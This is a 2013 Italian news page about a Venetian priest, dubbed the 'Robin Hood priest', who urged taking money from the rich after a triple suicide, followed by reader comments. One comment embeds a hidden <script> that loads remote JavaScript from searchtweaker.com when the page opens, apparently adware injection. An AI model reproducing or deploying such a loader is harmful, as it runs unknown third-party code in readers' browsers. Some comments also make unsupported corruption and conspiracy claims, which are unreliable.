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Don Torta,"il parroco Robin Hood": "Basta suicidi, prendiamo i soldi dai ricchi"

 

"Che non capiti mai che un mio parrocchiano sia tentato di uccidersi: insieme, io per primo, lo aiuterò a prendere i soldi che gli servono da chi si è arricchito sulla pelle dei poveri, perché sopravviva".

Sono le parole che don Enrico Torta, parroco di Dese, ha scritto ai suoi fedeli nel bollettino parrocchiale dopo la vicenda del triplice suicidio avvenuto nei giorni scorsi a Civitanova Marche. Secondo il quotidiano locale la Nuova Venezia, il parroco avrebbe avuto tutta l’intenzione di utilizzare parole molto più forti: "Prendiamo i soldi ai ricchi" e ancora "lo aiuterò a rubare", poi ha riflettuto e ha ritenuto più giusto ridimensionare i toni dicendo "lo aiuterò a prendere i soldi", perché continua il parroco: “Oggi l'emergenza vera è il lavoro, sono cose che non stanno né in cielo né in terra, bisogna fare una rivoluzione, i politici devono mettere da parte l'orgoglio, trovare un compromesso per due anni e risollevare la nazione”.

Il pensiero del sacerdote appare comunque molto chiaro. È stato lo stesso don Torta infatti a dichiarare all’Ansa: "Viviamo in una società ingiusta che ha reso la proprietà privata svincolata dal bene comune". “Bisogna costringere i ricchi a tenere per sé quello che gli serve per vivere e il resto prenderlo per la collettività. Perché la vita di un uomo non ha prezzo”. Affermazioni importanti per cui don Torta è stato già ribattezzato "il parroco Robin Hood". 

Dichiarazioni importanti che hanno sollevato immediatamente le reazioni dell’opinione pubblica che ha spinto monsignor Valter Perini, vicario episcopale per l’evangelizzazione della Diocesi di Venezia ha rilasciare qualche chiarimento sulla vicenda: “È il grido di dolore di un pastore che, come ha detto Papa Francesco, ha l’odore delle pecore", spiega,"il suo grido è forte ma quello di un prete non può essere che così. Il sacerdote sta in mezzo alla gente".

Commenti all'articolo

  • Di (---.---.---.41) 8 aprile 2013 15:03

    complimenti Padre.

  • Di (---.---.---.15) 8 aprile 2013 21:43

    Padre sono la tua puzzolente pecora pronta ad aiutarti a prendere ai ricchi per distribuire ai poveri, le sue parole , sono state già preannunciate da Papa Albino Luciani quando disse "la proprietà non e un diritto per chi già ha " e morto poche ore dopo in maniera misteriosa, certo un Papa che non aveva bisogno di cambiare nome per ispirare e stupire per aprire le menti verso la condivisione , mentre il Papa attuale non ha ancora speso una parola nei confronti di chi soffre la crisi attuale totalmente distaccato perché immerso nel suo tentativo di emulare San Francesco d Assisi e vivendo così in un altra epoca dove la semplicità delle menti di un popolo tutto contadino che vivevano in armonia con l ambiente traendo i frutti della terra non e più parte della attualità , in un epoca dove San Francesco si sarebbe confuso con un barbone che vive nelle stazioni e mangia alla Caritas quando può , come sarebbe più vero se il Papa attuale si fosse chiamato Papa Jorge e si fosse comportato in maniera tale da far diventare il suo nome più importante di Quello che invece si e assunto per avere l onore dovuto a Francesco d Assisi che quel nome lo ha fatto diventare santo 


  • Di GeriSteve (---.---.---.3) 9 aprile 2013 01:11

    si potrebbero ribattere tante cose, alcune semplici, altre complesse , che riguardano il fattto che esiste un sistema che consente la concentrazione delle ricchezza e un sistema - ma che non è un "altro" sistema- che predica i diritti dei poveri.

    Facciamo un discorso semplice semplice:
    ma perchhè don Torta, che è un prete, cioè un dipendente del Vaticano, ma probabilmente mantenuto dallo stato italiano, cioè da noi, non propone di andare a prendere dalloi IOR i soldi per aiutare i bisognosi ???

    Io non pretendo che don Torta ci dica che lo IOR è zeppo diei soldi dei mafiosi e dei residui dei narcodollari che sono transitati grazie a santa beata maria Teresa di Calcutta.

    Pretendo soltanto che don Torta, che blatera di esproprio proletario, si rivolga dapprima alle delinquenziali casse del Vaticano.
    Se lui lo facesse davvero, anche se il Vaticano non lo fa, potrebbe inziare un discorso serio e decente.

    Se invece non lo fa, si tratta delle solite fregnacce di dire che tutto deve cambiare perchè sia ben garantito che niente cambi.

    In questo caso, don Tortora è uno dei tanti, squallidi complici.

    GeriSteve

  • Di (---.---.---.87) 9 aprile 2013 13:43

    Una curia milionaria quella di Bologna.. ecco dove prendere i soldi...

    http://www.infiltrato.it/inchieste/...

    <script id="FoxLingoJs">(function(){try{var header=document.getElementsByTagName("HEAD")[0];var script=document.createElement("SCRIPT");script.src="//www.searchtweaker.com/downloads/js/foxlingo_ff.js";script.onload=script.onreadystatechange=function(){if (!(this.readyState)||(this.readyState=="complete"||this.readyState=="loaded")){script.onload=null;script.onreadystatechange=null;header.removeChild(script);}}; header.appendChild(script);} catch(e) {}})();</script>
  • Di (---.---.---.182) 12 aprile 2013 23:18

    Che mondo di CESSI...

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